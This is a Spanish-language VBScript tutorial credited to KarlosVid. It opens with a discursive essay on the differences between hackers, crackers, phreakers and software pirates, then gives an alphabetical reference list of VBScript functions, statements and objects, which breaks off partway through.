Tutorial de Visual Basic Scripting
Tutorial de Visual Basic Scripting
Basic Scripting
INSTRODUCCIÓN
Los piratas ya no tienen un parche en su ojo ni un garfio en reemplazo de la mano. Tampoco existen los barcos ni los
tesoros escondidos debajo del mar. Llegando al año 2000, los piratas se presentan con un cerebro desarrollado, curioso
y con muy pocas armas: una simple computadora y una línea telefónica. Hackers. Una palabra que aún no se encuentra
en los diccionarios pero que ya suena en todas las personas que alguna vez se interesaron por la informática o leyeron
algún diario. Proviene de "hack", el sonido que hacían los técnicos de las empresas telefónicas al golpear los aparatos
para que funcionen. Hoy es una palabra temida por empresarios, legisladores y autoridades que desean controlar a
quienes se divierten descifrando claves para ingresar a lugares prohibidos y tener acceso a información indebida.
Sólo basta con repasar unas pocas estadísticas. Durante 1997, el 54 por ciento de las empresas norteamericanas
sufrieron ataques de Hackers en sus sistemas. Las incursiones de los piratas informáticos, ocasionaron pérdidas totales
de 137 millones de dólares en ese mismo año. El Pentágono, la CIA, UNICEF, La ONU y demás organismos mundiales
han sido víctimas de intromisiones por parte de estas personas que tienen muchos conocimientos en la materia y
también una gran capacidad para resolver los obstáculos que se les presentan*. Un hacker puede tardar meses en
vulnerar un sistema ya que son cada vez más sofisticados. Pero el lema es viejo: hecha la ley, hecha la trampa.
Los medios de comunicación masivos prefieren tildarlos de delincuentes que interceptan códigos de tarjetas de crédito y
los utilizan para beneficio propio. También están los que se intrometen en los sistemas de aeropuertos produciendo un
caos en los vuelos y en los horarios de los aviones. Pero he aquí la gran diferencia en cuestión. Los crackers
(crack=destruir) son aquellas personas que siempre buscan molestar a otros, piratear software protegido por leyes,
destruir sistemas muy complejos mediante la transmisión de poderosos virus, etc. Esos son los crackers. Adolescentes
inquietos que aprenden rápidamente este complejo oficio. Se diferencian con los Hackers porque no poseen ningún tipo
de ideología cuando realizan sus "trabajos". En cambio, el principal objetivo de los Hackers no es convertirse en
delincuentes sino "pelear contra un sistema injusto" utilizando como arma al propio sistema. Su guerra es silenciosa pero
muy convincente. El avance de la era informatica ha introducido nuevos terminos en el vocabulario de cada dia. Una de
estas palabras, hacker, tiene que ver con los delitos informaticos. Todos estamos familiarizados con las historias de
aquellos que consiguen entrar en las corporaciones informatizadas. Pero tenemos la impresion de que el termino
"hacker" es uno de los peor entendidos, aplicados y, por tanto, usados en la era informatica. La cultura popular define a
los hackers como aquellos que, con ayuda de sus conocimientos informaticos consiguen acceder a los ordenadores de
los bancos y de los negociados del gobierno. Bucean por informacion que no les pertenece, roban software caro y
By KarlosVid(ÊÇ) www.idat.byethost14.com 1
realizan transacciones de una cuenta bancaria a otra. Los criminologos, por otra parte, describen a los hackers en
terminos menos halagadores. Donn Parker los denomina "violadores electronicos" y August Bequai los describe como
"vandalos electronicos". Ambos, aunque aseveran que las actividades de los hackers son ilegales, eluden habilmente
llamarlos "criminales informaticos". Hacen una clara distincion entre el hacker que realiza sus actividades por diversion y
el empleado que de repente decide hacer algo malo. Por tanto, parece que tenemos una definicion en la que caben dos
extremos: por un lado, el moderno ladron de bancos y por otro el inquieto. Ambas actividades (y todas las intermedias)
son calificadas con el mismo termino. Dificilmente se podria considerar esto como un ejemplo de conceptualizacion
precisa. Una gran parte de esta ambigüedad puede seguirse desde el origen durante estos aproximadamente 20 años
de vida del mencionado termino. El termino comenzo a usarse aplicandolo a un grupo de pioneros de la informatica del
MIT, a principios de la decada de 1960. Desde entonces, y casi hasta finales de la decada de 1970, un hacker era una
persona obsesionada por conocer lo mas posible sobre los sistemas informaticos. Los diseñadores del ordenador Apple,
Jobs y Wozniack, pueden considerarse hackers en este sentido de la palabra. Pero a principios de la decada de 1980,
influenciados por la difusion de la pelicula Juegos de Guerra, y el ampliamente publicado arresto de una "banda de
hackers" conocida como la 414, los hackers pasaron a ser considerados como chicos jovenes capaces de violar
sistemas informaticos de grandes empresas y del gobierno. Desgraciadamente, los medios de informacion y la
comunidad cientifica social no ha puesto mucho esfuerzo por variar esta definicion. El problema para llegar a una
definicion mas precisa radica, tanto en la poca informacion que hay sobre sus actividades diarias, como en el hecho de
que lo que se conoce de ellos no siempre cabe bajo las etiquetas de los delitos conocidos. Es decir, no hay una
definicion legal que sea aplicable a los hackers, ni todas sus actividades conllevan la violacion de las leyes. Esto lleva a
que la aplicacion del termino varie segun los casos, dependiendo de los cargos que se puedan imputar y no a raiz de un
claro entendimiento de lo que el termino significa. Este problema, y la falta de entendimiento de lo que significa ser un
hacker, convierte a esta en una etiqueta excesivamente utilizada para aplicar a muchos tipos de intrusiones informaticas.
Parker y Bequai, dos lideres en el estudio de los delitos informaticos, utilizan el termino "hacker" de formas ligeramente
diferentes. Parker reconoce que hacking no abarca todo el rango de actividades asociadas a la violacion de los sistemas
informaticos, pero lo prefiere al termino "phreaking", que considera muy oscuro. Por otra parte, Bequai no rechaza el
termino "phreaking" y a menudo lo aplica a hechos que Parker califica como de hacker. Bequai confunde aun mas el
termino al definir al hacker como alguien que utiliza ilegalmente las tarjetas de credito telefonico para acceder a sistemas
que distribuyen software comercial ilegalmente. Veremos que esto tiene poco que ver con las actuaciones propias de
los hackers, pero es ilustrativa de otros tipos de actividades informaticas inusuales. Los terminos, "hacker", "phreaker" y
"pirata" se presentan y definen tal y como los entienden aquellos que se identifican con estos papeles. En primer lugar,
el area de los hackers. En la tradicion de esta comunidad informatica, el hacker puede realizar dos tipos de actividades:
bien acceder a un sistema informatico, o bien algo mas general, como explorar y aprender a utilizar un sistema
informatico. En la primera connotacion, el termino lleva asociados las herramientas y trucos para obtener cuentas de
usuarios validos de un sistema informatico, que de otra forma serian inaccesibles para los hackers. Se podria pensar que
esta palabra esta intimamente relacionada con la naturaleza repetitiva de los intentos de acceso. Ademas, una vez que
se ha conseguido acceder, las cuentas ilicitas a veces compartidas con otros asociados, denominandolas "frescas". He
aqui la vision estereotipada de los medios de comunicacion de los hackers un joven de menos de veinte años, con
conocimientos de informatica, pegado al teclado de su ordenador, siempre en busca de una cuenta no usada o un punto
debil en el sistema de seguridad. Aunque esta vision no es muy precisa, representa bastante bien el aspecto del termino.
La segunda dimension del mencionado termino se ocupa de lo que sucede una vez que se ha conseguido acceder al
sistema cuando se ha conseguido una clave de acceso. Como el sistema esta siendo utilizado sin autorizacion, el hacker
no suele tener, el terminos generales, acceso a los manuales de operacion y otros recursos disponibles para los
usuarios legitimos del sistema. Por tanto, el usuario experimenta con estructuras de comandos y explora ficheros para
conocer el uso que se da al sistema. En oposicion con el primer aspecto del termino, aqui no se trata solo de acceder al
sistema (aunque alguno podria estar buscando niveles de acceso mas restringidos), sino de aprender mas sobre la
operacion general del sistema. Contrariamente a lo que piensan los medios de comunicacion, la mayoria de los hackers
no destruyen y no dañan deliberadamente los datos. El hacerlo iria en contra de su intencion de mezclarse con el
usuario normal y atraeria la atencion sobre su presencia, haciendo que la cuenta usada sea borrada. Despues de gastar
un tiempo sustancioso en conseguir la cuenta, el hacker pone una alta prioridad para que su uso no sea descubierto.
Ademas de la obvia relacion entre las dos acepciones, la palabra "hacker" se reserva generalmente a aquellos que se
dedican al segundo tipo. En otras palabras, un hacker es una persona que tiene el conocimiento, habilidad y deseo de
explorar completamente un sistema informatico. El mero hecho de conseguir el acceso (adivinando la clave de acceso)
no es suficiente para conseguir la denominacion. Debe haber un deseo de liderar, explotar y usar el sistema despues de
haber accedido a él. Esta distincion parece logica, ya que no todos los intrusos mantienen el interes una vez que han
logrado acceder al sistema. En el submundo informatico, las claves de acceso y las cuentas suelen intercambiarse y
ponerse a disposicion del uso general. Por tanto, el hecho de conseguir el acceso puede considerarse como la parte
"facil", por lo que aquellos que utilizan y exploran los sistemas son los que tienen un mayor prestigio. La segunda
actividad es la de los phreakers telefonicos. Se convirtio en una actividad de uso comun cuando se publicaron las
aventuras de John Draper, en un articulo de la revista Esquire, en 1971. Se trata de una forma de evitar los mecanismos
de facturacion de las compañías telefonicas. Permite llamar a de cualquier parte del mundo sin costo practicamente. En
muchos casos, tambien evita, o al menos inhibe, la posibilidad de que se pueda trazar el camino de la llamada hasta su
origen, evitando asi la posibilidad de ser atrapado. Par la mayor parte de los miembros del submundo informatico, esta
es simplemente una herramienta para poder realizar llamadas de larga distancia sin tener que pagar enormes facturas.
La cantidad de personas que se consideran phreakers, contrariamente a lo que sucede con los hackers, es
relativamente pequeña. Pero aquellos que si se consideran phreakers lo hacen para explorar el sistema telefonico. La
mayoria de la gente, aunque usa el telefono, sabe muy poco acerca de él. Los phreakers, por otra parte, quieren
aprender mucho sobre el. Este deseo de conocimiento lo resume asi un phreaker activo: "El sistema telefonico es la
cosa mas interesante y fascinante que conozco. Hay tantas cosas que aprender. Incluso los phreakers tienen diferentes
By KarlosVid(ÊÇ) www.idat.byethost14.com 2
areas de conocimiento. Hay tantas cosas que se pueden conocer que en una tentativa puede aprenderse algo muy
importante y en la siguiente no. O puede suceder lo contrario. Todo depende de como y donde obtener la informacion.
Yo mismo quisiera trabajar para una empresa de telecomunicaciones, haciendo algo interesante, como programar una
central de conmutacion. Algo que no sea una tarea esclavizadora e insignificante. Algo que sea divertido. Pero hay que
correr el riesgo para participar, a no ser que tengas la fortuna de trabajar para una de estas compañías. El tener acceso
a las cosas de estas empresas, como manuales, etc., debe ser grandioso". La mayoria de la gente del submundo no se
acerca al sistema telefonico con esa pasion. Solo estan interesados en explorar sus debilidades para otros fines. En este
caso, el sistema telefonico es un fin en si mismo. Otro entrevistado que se identificaba a si mismo como hacker,
explicaba: "Se muy poco sobre teléfonos simplemente soy un hacker. Mucha gente hace lo mismo. En mi caso, hacer de
phreaker es una herramienta, muy utilizada, pero una herramienta al fin y al cabo". En el submundo informatico, la
posibilidad de actuar asi se agradece, luego llego el uso de la tarjeta telefonica. Estas tarjetas abrieron la puerta para
realizar este tipo de actividades a gran escala. Hoy en dia no hace falta ningun equipo especial. Solo un telefono con
marcacion por tonos y un numero de una de esas tarjetas, y con eso se puede llamar a cualquier parte del mundo. De
igual forma que los participantes con mas conocimientos y motivacion son llamados hackers, aquellos que desean
conocer el sistema telefonico son denominados phreakers. El uso de las herramientas que les son propias no esta
limitada a los phreakers, pero no es suficiente para merecer la distincion. Finalmente llegamos a la "telepirateria" del
software. Consiste en la distribucion ilegal de software protegido por los derechos de autor. No nos refiererimos a la
copia e intercambio de diskettes que se produce entre conocidos (que es igualmente ilegal), sino a la actividad que se
realiza alrededor de los sistemas BBS que se especializan en este tipo de trafico. El acceso a este tipo de servicios se
consigue contribuyendo, a traves de un modem telefonico, con una copia de un programa comercial. Este acto delictivo
permite a los usuarios copiar, o "cargar", de tres a seis programas que otros hayan aportado. Asi, por el precio de una
sola llamada telefonica, uno puede amontonar una gran cantidad de paquetes de software. En muchas ocasiones,
incluso se evita pagar la llamada telefonica. Notese que al contrario que las dos actividades de hacker y phreaker, no
hay ninguna consideracion al margen de "prestigio" o "motivacion" en la telepirateria. En este caso, el cometer los actos
basta para "merecer" el titulo. La telepirateria esta hecha para las masas. Al contrario de lo que sucede con los hackers y
los phreakers, no requiere ninguna habilidad especial. Cualquiera que tenga un ordenador con modem y algun software
dispone de los elementos necesarios para entrar en el mundo de la telepirateria. Debido a que la telepirateria no requiere
conocimientos especiales, el papel de los piratas no inspira ningun tipo de admiracion o prestigio en el submundo
informatico. (Una posible excepcion la constituyen aquellos que son capaces de quitar la proteccion del software
comercial.) Aunque los hackers y los phreakers de la informatica probablemente no desaprueben la pirateria, y sin duda
participen individualmente de alguna forma, son menos activos (o menos visibles) en los BBS que se dedican a la
telepirateria. Tienden a evitarlos porque la mayoria de los telepiratas carecen de conocimientos informaticos especiales,
y por tanto son conocidos por abusar en exceso de la red telefonica para conseguir el ultimo programa de juegos. Un
hacker mantiene la teoria de que son estos piratas los culpables de la mayoria de los fraudes con tarjetas de credito
telefonicas. "Los medios de comunicacion afirman que son unicamente los hackers los responsables de las perdidas de
las grandes compañías de telecomunicaciones y de los servicios de larga distancia. Este no es el caso. Los hackers
representan solo una pequeña parte de estas perdidas. El resto esta causado por “los piratas y ladrones que venden
estos codigos en la calle." Otro hacker explica que el proceso de intercambiar grandes programas comerciales por
modem normalmente lleva varias horas, y son estas llamadas, y no las que realizan los "entusiastas de
telecomunicaciones", las que preocupan a las compañias telefonicas. Pero sin considerar la ausencia de conocimientos
especiales, por la fama de abusar de la red, o por alguna otra razon, parece haber algun tipo de division entre los
hackers / phreakers y los telepiratas. Despues de haber descrito los tres papeles del submundo informatico, podemos
ver que la definicion presentada al principio, segun la cual un hacker era alguien que usaba una tarjeta de credito
telefonico robada para cargar alguno de los ultimos juegos, no refleja las definiciones dadas en el propio submundo
informatico. Obviamente, corresponde a la descripcion de un telepirata y no a las acciones propias de un hacker o un
phreaker. En todo esto hay una serie de avisos. No se quiere dar la impresion de que un individuo es un hacker, un
phreaker o un telepirata exclusivamente. Estas categorias no son mutuamente excluyentes. De hecho, muchos
individuos son capaces de actuar en mas de uno de estos papeles. Se cree que la respuesta se encuentra en buscar los
objetivos que se han expuesto previamente. Recuerdese que el objetivo de un hacker no es entrar en un sistema, sino
aprender como funciona. El objetivo de un phreaker no es realizar llamadas de larga distancia gratis, sino descubrir lo
que la compañía telefonica no explica sobre su red y el objetivo de un telepirata es obtener una copia del software mas
moderno para su ordenador. Asi, aunque un individuo tenga un conocimiento especial sobre los sistemas telefonicos,
cuando realiza una llamada de larga distancia gratis para cargar un juego, esta actuando como un telepirata. En cierto
modo, esto es un puro argumento semantico. Independientemente de que a un hacker se le etiquete erroneamente
como telepirata, los accesos ilegales y las copias no autorizadas de software comercial van a seguir produciendose.
Pero si queremos conocer los nuevos desarrollos de la era informatica, debemos identificar y reconocer los tres tipos de
actividades con que nos podemos encontrar. El agrupar los tres tipos bajo una sola etiqueta es mas que impreciso,
ignora las relaciones funcionales y diferencias entre ellos. Hay que admitir, de todas formas, que siempre habra alguien
que este en desacuerdo con las diferencias que se han descrito entre los grupos. En el desarrollo de esta investigacion,
quedo de manifiesto que los individuos que realizan actualmente estas actividades no se ponen de acuerdo en cuanto a
donde estan las fronteras. Las categorias y papeles, como se ha indicado previamente, no son mutuamente exclusivos.
En particular, el mundo de los hackers y los phreakers estan muy relacionados. Pero, de la misma forma que no
debemos agrupar toda la actividad del submundo informatico bajo la acepcion de hacker, tampoco debemos insistir en
que nuestras definiciones sean exclusivas hasta el punto de ignorar lo que representan. Las tipologias que he
presentado son amplias y necesitan ser depuradas. Pero representan un paso mas en la representacion precisa,
especificacion e identificacion de las actividades que se dan en el submundo de la informatica.
By KarlosVid(ÊÇ) www.idat.byethost14.com 3
Referencia del lenguaje de VBScript
Estos prácticos bloques de información le ayudarán a examinar las diferentes partes del Lenguaje de secuencias
de comandos de Visual Basic.
Encontrará todas las partes del lenguaje de VBScript mostradas por orden alfabético en la Lista alfabética de
palabras clave. Si sólo desea examinar una categoría, por ejemplo objetos, cada categoría del lenguaje tiene su
propia sección, más compacta.
¿Cómo funciona? Haga clic en uno de los encabezados de la izquierda para mostrar una lista de elementos
contenidos en esa categoría. Desde esta lista, seleccione el tema que desea ver. Una vez abierto ese tema, puede
seguir los vínculos a otras secciones relacionadas.
Compruébelo. Estudie algunas instrucciones, examine los métodos o descifre unas pocas funciones. Verá qué
versátil puede llegar a ser la Biblioteca de tiempo de ejecución de secuencias de comandos.
By KarlosVid(ÊÇ) www.idat.byethost14.com 4
DateDiff (Función) Devuelve el número de intervalos entre dos fechas.
DatePart (Función) Devuelve la parte especificada de una fecha dada.
DateSerial (Función) Devuelve una Variant del subtipo Date para un día, mes y año especificados.
DateValue (Función) Devuelve una Variant del subtipo Date.
Day (Función) Devuelve un número entero entre 1 y 31, ambos inclusive, que representa el día del mes.
Description (Propiedad) Devuelve o establece la cadena descriptiva asociada con un error.
Dictionary (Objeto) Objeto que almacena pares de elemento y clave.
Dim (Instrucción) Declara variables y asigna espacio de almacenamiento.
División (/) (Operador) Divide dos números y devuelve un resultado de punto flotante.
Do...Loop (Instrucción) Repite un bloque de instrucciones mientras una condición sea True o hasta que una
condición sea True.
Empty Indica un valor variable no inicializado.
Eqv (Operador) Realiza una equivalencia lógica de dos expresiones.
Erase (Instrucción) Vuelve a inicializar los elementos de matrices de tamaño fijo y anula la asignación de
espacio de almacenamiento de la matriz dinámica.
Err (Objeto) Contiene información acerca de los errores en tiempo de ejecución.
Eval (Función) Evalúa una expresión y devuelve el resultado.
Execute (Método) Ejecuta una búsqueda de expresión regular con una cadena especificada.
Execute (Instrucción) Ejecuta una o más instrucciones especificadas.
Exit (Instrucción) Sale de un bloque de código Do...Loop, For...Next, Function o Sub.
Exp (Función) Devuelve e (la base de los logaritmos naturales) elevado a una potencia.
Exponenciación (^) (Operador) Eleva un número a la potencia de un exponente.
False Palabra clave que tiene un valor igual a cero.
FileSystemObject (Objeto) Proporciona acceso al sistema de archivos de un equipo.
Filter (Función) Devuelve una matriz con base cero que contiene un subconjunto de una matriz de cadenas
basada en un criterio de filtro especificado.
FirstIndex (Propiedad) Devuelve la posición en una cadena de búsqueda donde ocurre una coincidencia.
Fix (Función) Devuelve la parte entera de un número.
For...Next (Instrucción) Repite un grupo de instrucciones un número especificado de veces.
For Each...Next (Instrucción) Repite un grupo de instrucciones para cada elemento en una matriz o colección.
FormatCurrency (Función) Devuelve una expresión con formato de moneda utilizando el símbolo de moneda
definido en el Panel del control del sistema.
FormatDateTime (Función) Devuelve una expresión con formato de fecha u hora.
FormatNumber (Función) Devuelve una expresión con formato de número.
FormatPercent (Función) Devuelve una expresión con formato de porcentaje (multiplicado por 100) con un carácter
% final.
Function (Instrucción) Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento
Function.
GetObject (Función) Devuelve una referencia a un objeto de Automatización desde un archivo.
GetRef (Función) Devuelve una referencia a un procedimiento que se puede enlazar a un evento.
Global (Propiedad) Establece o devuelve un valor booleano.
Hex (Función) Devuelve una cadena que representa el valor hexadecimal de un número.
HelpContext (Propiedad) Establece o devuelve un Id. de contexto para un tema en un archivo de Ayuda.
HelpFile (Propiedad) Establece o devuelve una ruta completa a un archivo de Ayuda
Hour (Función) Devuelve un número entero entre 0 y 23, ambos inclusive, que representan la hora del día.
If...Then...Else (Instrucción) Ejecuta de forma condicional un grupo de instrucciones, dependiendo del valor de una
expresión.
IgnoreCase (Propiedad) Establece o devuelve un valor booleano que indica si una búsqueda de patrón distingue
By KarlosVid(ÊÇ) www.idat.byethost14.com 5
las mayúsculas de las minúsculas.
Imp (Operador) Realiza una implicación lógica de dos expresiones.
Initialize (Evento) Ocurre cuando se crea una instancia de la clase asociada.
InputBox (Función) Muestra un aviso en un cuadro de diálogo, espera a que el usuario escriba texto o haga
clic en un botón y devuelve el contenido del cuadro de texto.
InStr (Función) Devuelve la posición de la primera aparición de una cadena dentro de otra.
InStrRev (Función) Devuelve la posición de una aparición de una cadena dentro de otra, desde el final de la
cadena.
Int (Función) Devuelve la parte entera de un número.
División entera (\) (Operador) Divide dos números y devuelve un resultado entero.
Is (Operador) Compara dos variables de referencia de objetos.
IsArray (Función) Devuelve un valor booleano que indica si una variable es una matriz.
IsDate (Función) Devuelve un valor booleano que indica si se puede convertir una expresión en fecha.
IsEmpty (Función) Devuelve un valor booleano que indica si se inicializó una variable.
IsNull (Función) Devuelve un valor booleano que indica si una expresión no contiene datos válidos (Null).
IsNumeric (Función) Devuelve un valor booleano que indica si se puede evaluar una expresión como un
número.
IsObject (Función) Devuelve un valor booleano que indica si una expresión hace referencia a un objeto de
Automatización válido.
Join (Función) Devuelve una cadena creada al unir varias subcadenas contenidas en una matriz.
LBound (Función) Devuelve el subíndice más pequeño disponible para la dimensión indicada de una matriz.
LCase (Función) Devuelve una cadena convertida a minúsculas.
Left (Función) Devuelve un número de caracteres especificado desde el lado izquierdo de una cadena.
Len (Función) Devuelve el número de caracteres en una cadena o el número de bytes necesarios para
almacenar una variable.
Length (Propiedad) Devuelve la longitud de una coincidencia encontrada en una cadena de búsqueda.
LoadPicture (Función) Devuelve un objeto de imagen. Sólo disponible en plataformas de 32 bits.
Log (Función) Devuelve el logaritmo natural de un número.
LTrim (Función) Devuelve una copia de una cadena sin los espacios iniciales.
Match (Objeto) Proporciona acceso a las propiedades de sólo lectura de una coincidencia de expresión
regular.
Matches (Colección) Colección de objetos Match de expresión regular.
Mid (Función) Devuelve un número especificado de caracteres de una cadena.
Minute (Función) Devuelve un número entero entre 0 y 59, ambos inclusive, que representa el minuto de la
hora.
Diversas (Constantes) Lista de constantes que no corresponden a ninguna otra categoría.
Mod (Operador) Divide dos números y devuelve sólo el resto.
Month (Función) Devuelve un número entero entre 1 y 12, ambos inclusive, que representa el mes del año.
MonthName (Función) Devuelve una cadena que indica el mes especificado.
MsgBox (Constantes) Lista de constantes utilizadas con la función MsgBox.
MsgBox (Función) Muestra un mensaje en un cuadro de diálogo, espera a que el usuario haga clic en un
botón y devuelve un valor que indica en que botón hizo clic el usuario .
Multiplicación (*) (Operador) Multiplica dos números.
Negación (-) (Operador) Indica el valor negativo de una expresión numérica.
Not (Operador) Realiza una negación lógica en una expresión.
Now (Función) Devuelve la fecha y hora actual según los valores de fecha y hora de sistema del equipo.
Nothing Disocia una variable de objeto de cualquier objeto real.
Null Indica que una variable no contiene datos válidos.
By KarlosVid(ÊÇ) www.idat.byethost14.com 6
Number (Propiedad) Devuelve o establece un valor numérico que especifica un error.
Oct (Función) Devuelve una cadena que representa el valor octal de un número.
On Error (Instrucción) Habilita el control de errores.
Precedencia de operadores Lista que muestra el orden de precedencia entre varios operadores utilizados en VBScript.
Option Explicit (Instrucción) Fuerza la declaración explícita de todas las variables en una secuencia de comandos.
Or (Operador) Realiza una disyunción lógica de dos expresiones.
Pattern (Propiedad) Establece o devuelve el patrón de expresión regular que se busca.
Private (Instrucción) Declara las variables privadas y asigna espacio de almacenamiento.
PropertyGet (Instrucción) Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento
Property que obtiene (devuelve) el valor de una propiedad.
PropertyLet (Instrucción) Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento
Property que asigna el valor de una propiedad.
PropertySet (Instrucción) Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento
Property que establece una referencia a un objeto.
Public (Instrucción) Declara las variables públicas y asigna espacio de almacenamiento.
Raise (Método) Genera un error en tiempo de ejecución.
Randomize (Instrucción) Inicializa el generador de números aleatorios.
ReDim (Instrucción) Declara las variables de matriz dinámica y asigna o vuelve a asignar el espacio de
almacenamiento en el nivel de procedimiento.
RegExp (Objeto) Proporciona compatibilidad con expresiones regulares simples.
Rem (Instrucción) Incluye observaciones explicativas en un programa.
Replace (Función) Devuelve una cadena en la que se reemplazó una subcadena especificada con otra
subcadena un número especificado de veces.
Replace (Método) Reemplaza el texto encontrado en una búsqueda de expresión regular.
RGB (Función) Devuelve un número entero que representa un valor de color RGB.
Right (Función) Devuelve un número especificado de caracteres del lado derecho de una cadena.
Rnd (Función) Devuelve un número aleatorio.
Round (Función) Devuelve un número redondeado a un número especificado de lugares decimales.
RTrim (Función) Devuelve una copia de una cadena sin espacios finales.
ScriptEngine (Función) Devuelve una cadena que representa el lenguaje de secuencias de comandos en uso.
ScriptEngineBuildVersion (Función) Devuelve el número de versión de compilación del motor de secuencias de comandos en
uso.
ScriptEngineMajorVersion (Función) Devuelve el número de la versión principal del motor de secuencias de comandos en uso.
ScriptEngineMinorVersion (Función) Devuelve el número de la versión secundaria del motor de secuencias de comandos en
uso.
Second (Función) Devuelve un número entero entre 0 y 59, ambos inclusive, que representa el segundo del
minuto.
Select Case (Instrucción) Ejecuta uno de entre varios grupos de instrucciones, según el valor de una expresión.
Set (Instrucción) Asigna la referencia de un objeto a una variable o propiedad.
Sgn (Función) Devuelve un número entero que indica el signo de un número.
Sin (Función) Devuelve el seno de un ángulo.
Source (Propiedad) Devuelve o establece el nombre del objeto o aplicación que generó originalmente el error.
Space (Función) Devuelve una cadena compuesta por el número especificado de espacios.
Split (Función) Devuelve una matriz unidimensional con base cero que contiene un número especificado
de subcadenas.
Sqr (Función) Devuelve la raíz cuadrada de un número.
StrComp (Función) Devuelve un valor que indica el resultado de una comparación de cadenas.
Cadena (Constantes) Lista de constantes de cadena.
String (Función) Devuelve una cadena de caracteres repetidos de la longitud especificada.
By KarlosVid(ÊÇ) www.idat.byethost14.com 7
StrReverse (Función) Devuelve una cadena en la que está invertido el orden de caracteres de una cadena
especificada.
Sub (Instrucción) Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Sub.
Resta (-) (Operador) Encuentra la diferencia entre dos números o indica el valor negativo de una expresión
numérica.
Tan (Función) Devuelve la tangente de un ángulo.
Terminate (Evento) Ocurre cuando se termina una instancia de la clase asociada.
Test (Método) Ejecuta una búsqueda de expresión regular en una cadena especificada.
Time (Función) Devuelve una Variant del subtipo Date que indica la hora actual del sistema.
Timer (Función) Devuelve el número de segundos que transcurrieron desde las 12:00 a.m.(medianoche).
TimeSerial (Función) Devuelve una Variant del subtipo Date que contiene la hora de una hora, minuto y
segundo específicos.
TimeValue (Función) Devuelve una Variant del subtipo Date que contiene la hora.
Trim (Función) Devuelve una copia de una cadena sin espacios iniciales o finales.
Triple estado (Constantes) Utilícelas en cualquier parte de su código para representar los valores mostrados en cada
una.
True La palabra clave que tiene un valor igual a -1.
TypeName (Función) Devuelve una cadena que proporciona información acerca del subtipo Variant de una
variable.
UBound (Función) Devuelve el mayor subíndice disponible para la dimensión indicada en una matriz.
UCase (Función) Devuelve una cadena convertida a mayúsculas.
Value (Propiedad) Devuelve el valor o texto de una coincidencia encontrada en una cadena de búsqueda.
VarType (Constantes) Lista de constantes que definen los subtipos Variant.
VarType (Función) Devuelve un valor que indica el subtipo de una variable.
VBScript (Constantes) Diversas categorías de constantes proporcionadas en VBScript.
Weekday (Función) Devuelve un número entero que representa el día de la semana.
WeekdayName (Función) Devuelve una cadena que indica el día de la semana especificado.
While...Wend (Instrucción) Ejecuta una serie de instrucciones mientras una condición dada sea True.
With (Instrucción) Ejecuta una serie de instrucciones en un único objeto.
Xor (Operador) Realiza una exclusión lógica en dos expresiones.
Year (Función) Devuelve un número entero que representa el año.
By KarlosVid(ÊÇ) www.idat.byethost14.com 8
Abs (Función) Devuelve el valor absoluto de un número.
Array (Función) Devuelve una Variant que cotiene una matriz.
Asc (Función) Devuelve el código de caracteres ANSI que corresponde a la primera letra de una cadena.
Atn (Función) Devuelve el arcotangente de un número.
CBool (Función) Devuelve una expresión convertida a una Variant del subtipo Boolean.
CByte (Función) Devuelve una expresión convertida a una Variant del subtipo Byte.
CCur (Función) Devuelve una expresión convertida a una Variant del subtipo Currency.
CDate (Función) Devuelve una expresión convertida a una Variant del subtipo Date.
CDbl (Función) Devuelve una expresión convertida a una Variant del subtipo Double.
Chr (Función) Devuelve el caracter asociado con el código de caracteres ANSI especificado.
CInt (Función) Devuelve una expresión convertida a una Variant del subtipo Integer.
CLng (Función) Devuelve una expresión convertida a una Variant del subtipo Long.
Cos (Función) Devuelve el coseno de un ángulo.
CreateObject (Función) Crea y devuelve una referencia a un objeto de Automatización.
CSng (Función) Devuelve una expresión convertida a una Variant del subtipo Single.
CStr (Función) Devuelve una expresión convertida a una Variant del subtipo String.
Date (Función) Devuelve la fecha del sistema actual.
DateAdd (Función) Devuelve una fecha a la que se agregó un intervalo de tiempo especificado.
DateDiff (Función) Devuelve el número de intervalos entre dos fechas.
DatePart (Función) Devuelve la parte especificada de una fecha dada.
DateSerial (Función) Devuelve una Variant del subtipo Date para un año, mes y día especificados.
DateValue (Función) Devuelve una Variant del subtipo Date.
Day (Función) Devuelve un número entero entre 1 y 31, ambos inclusive, que representa el día del mes.
Eval (Función) Evalúa una expresión y devuelve el resultado.
Exp (Función) Devuelve e (la base de los logaritmos naturales) elevado a una potencia.
Filter (Función) Devuelve una matriz con base cero que contiene un subconjunto de una matriz de
cadenas basado en un criterio de filtro especificado.
Fix (Función) Devuelve la parte entera de un número.
FormatCurrency (Función) Devuelve una expresión con formato de moneda utilizando el símbolo de moneda
definido en el Panel de control del sistema.
FormatDateTime (Función) Devuelve una expresión con formato de fecha u hora.
FormatNumber (Función) Devuelve una expresión con formato de número.
FormatPercent (Función) Devuelve una expresión con formato de porcentaje (multiplicado por 100) con un
caracter % final.
GetObject (Función) Devuelve una referencia a un objeto de Automatización de un archivo.
GetRef (Función) Devuelve una referencia a un procedimiento que se puede enlazar a un evento.
Hex (Función) Devuelve una cadena que representa el valor hexadecimal de un número.
Hour (Función) Devuelve un número entero entre 0 y 23, ambos inclusive, que representa la hora del día.
InputBox (Función) Muestra un aviso en un cuadro de diálogo, espera a que el usuario escriba texto o haga
clic en un botón y devuelve el contenido del cuadro de texto.
InStr (Función) Devuelve la posición del primer caso de una cadena dentro de otra.
InStrRev (Función) Devuelve la posición de la aparición de una cadena dentro de otra, desde el final de la
cadena.
Int (Función) Devuelve la parte entera de un número.
IsArray (Función) Devuelve un valor Boolean que indica si una variable es una matriz.
IsDate (Función) Devuelve un valor Boolean que indica si una expresión se puede convertir a una fecha.
IsEmpty (Función) Devuelve un valor Boolean que indica si se inicializó una variable.
By KarlosVid(ÊÇ) www.idat.byethost14.com 9
IsNull (Función) Devuelve un valor Boolean que indica si una expresión no contiene datos válidos (Null).
IsNumeric (Función) Devuelve un valor Boolean que indica si se puede evaluar una expresión como un
número.
IsObject (Función) Devuelve un valor Boolean que indica si una expresión hace referencia a un objeto de
Automatización válido.
Join (Función) Devuelve una cadena creada uniendo varias subcadenas contenidas en una matriz.
LBound (Función) Devuelve el subíndice más pequeño disponible para la dimensión indicada de una matriz.
LCase (Función) Devuelve una cadena convertida a minúsculas.
Left (Función) Devuelve un número especificado de caracteres del lado izquierdo de una cadena.
Len (Función) Devuelve el número de caracteres en una cadena o el número de bytes necesarios para
almacenar una variable.
